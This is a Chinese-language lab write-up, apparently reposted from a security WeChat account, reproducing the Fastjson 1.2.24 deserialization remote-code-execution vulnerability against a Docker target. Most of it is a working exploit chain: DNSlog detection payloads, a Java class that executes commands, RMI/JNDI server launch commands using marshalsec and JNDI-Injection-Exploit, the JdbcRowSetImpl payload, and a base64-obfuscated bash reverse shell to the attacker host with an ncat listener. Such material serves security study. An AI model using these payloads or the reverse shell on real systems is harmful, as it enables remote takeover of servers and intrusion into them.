fastjson【1224rce】漏洞初探索及复现

admin 2025年4月10日22:37:44评论12 views字数 2770阅读9分14秒阅读模式

机器说明

靶机:docker搭建的fastjson环境,其ip地址为192.168.10.6

攻击:

网站服务器为windows物理机,ip地址为192.168.10.9

RMI服务,也是建立在windows物理机,ip地址为192.168.10.9

fastjson判断识别

首先先确定是否为jsonjson有其特征

通过返回包判断是否使用了 Fastjson。例如,如果提交方式改为 POST,并且 JSON 字符串花括号不闭合,返回包中可能会出现 Fastjson 字样

这里可以通过burp抓取数据包,然后判断

抓取原始的数据请求,可以看到是get请求,并且json

fastjson【1224rce】漏洞初探索及复现

那么现在把请求改为post,然后查看返回是否有提示

fastjson【1224rce】漏洞初探索及复现

通过不闭合花括号测试,不过这里测试,发现返回 并没有提示,不过方法知道

fastjson【1224rce】漏洞初探索及复现

漏洞判断

目前确定是json了,那么是否存在漏洞,进一步探测,测试是否可出网,借助dnslog

//这是老版本的构造
{"test":
{
"@type":"java.net.Inet4Address",
"val":"5go1j8.dnslog.cn"
}
}

//1.2.67版本后payload
{
"@type":"java.net.Inet4Address",
"val":"5go1j8.dnslog.cn"
}
fastjson【1224rce】漏洞初探索及复现

fastjson1224-rce复现

编译class文件执行命令

首先在自己的服务器上创建一个test.java文件,然后编译为class文件。java代码如下

// javac test.java
import java.lang.Runtime;
import java.lang.Process;

publicclasstest{
static {
try {
Runtimert= Runtime.getRuntime();
            String[] commands = {"touch""/tmp/success"};
Processpc= rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}

然后执行javac test.java,就可以在当前目录下生成一个test.class文件,主要的就是这个文件,确保靶机可以访问到服务器。

fastjson【1224rce】漏洞初探索及复现

这里还使用到一个工具marshalsec-0.0.3-SNAPSHOT-all.jar,这个在gihub上是有项目地址的,有编译好的,也有未编译好的。https://github.com/RandomRobbieBF/marshalsec-jar.git

fastjson【1224rce】漏洞初探索及复现

在服务器上执行下面的语句,使得启动一个RMI服务器,监听9999端口,并指定加载远程类test.class

这里建议采用java8,我这里是安装java8后,使用其绝对路径。java8的官网下载https://www.java.com/zh-cn/download/manual.jsp

C:"Program Files"Javajre1.8.0_441binjava.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.10.9:1234/#test 9999

执行之后,这里已经开始监听了

fastjson【1224rce】漏洞初探索及复现

现在就是需要通过burp抓取之前的数据包,并对其做出修改,使得其json数据中,请求了这个服务器中的文件

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:9999/test",
"autoCommit":true
}
}

构造后,点击发送,虽然服务器的反应是500,但是通过rmi服务器可以看到成功获取了

fastjson【1224rce】漏洞初探索及复现

这里看看rmi服务器的监听

fastjson【1224rce】漏洞初探索及复现

但是不知道为什么,在靶机就是没有看到对应的文件。

然后我采用python3开启简易的服务,发现已经请求了test.class文件,但是不知道为什么,没有执行创建的命令

fastjson【1224rce】漏洞初探索及复现

网上查了一下,这个对于java的环境要求严格,进行编译文件的javac,其版本也必须是1.8啧,去官网下载还需要再注册一下,有点麻烦了。所以换一个工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

借助另一个工具

首先还是需要java8的环境,因为前面我只下载了java8对于javac并没有下载,所以换工具

windows中执行代码,启动工具

'C:Program FilesJavajre1.8.0_441binjava.exe'-jar .JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C'touch /tmp/success'-A192.168.10.9
fastjson【1224rce】漏洞初探索及复现

然后选择1.8版本的rmi链接,再到burp中重新放包即可

fastjson【1224rce】漏洞初探索及复现

这时候去docker中去验证一下是否创建这个文件

docker exec -it 559c50c831db /bin/bash
fastjson【1224rce】漏洞初探索及复现

说明命令成功了,那么再构造反弹shell测试

& 'C:Program FilesJavajre1.8.0_441binjava.exe' -jar .JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTAuOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.9
fastjson【1224rce】漏洞初探索及复现

还是访问1.8版本的,大致如下

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:1099/97idjg",
"autoCommit":true
}
}

然后在windows中使用ncat.exe开启监听9999端口。

这时候再通过burp抓取数据包修改,即可成功反弹shell

fastjson【1224rce】漏洞初探索及复现

总结

该漏洞,主要就是因为可以出网,并且通过函数导致命令可以在请求的时候,执行相关命令

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.9:1099/97idjg",
"autoCommit":true
}
}

这是主要利用代码,就是通过json格式的数据传给服务器,dataSourceName可以执行rmi中的class文件的内容

原文始发于微信公众号(泷羽sec-何生安全):fastjson【1224--rce】漏洞初探索及复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日22:37:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson【1224rce】漏洞初探索及复现https://cn-sec.com/archives/3874138.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息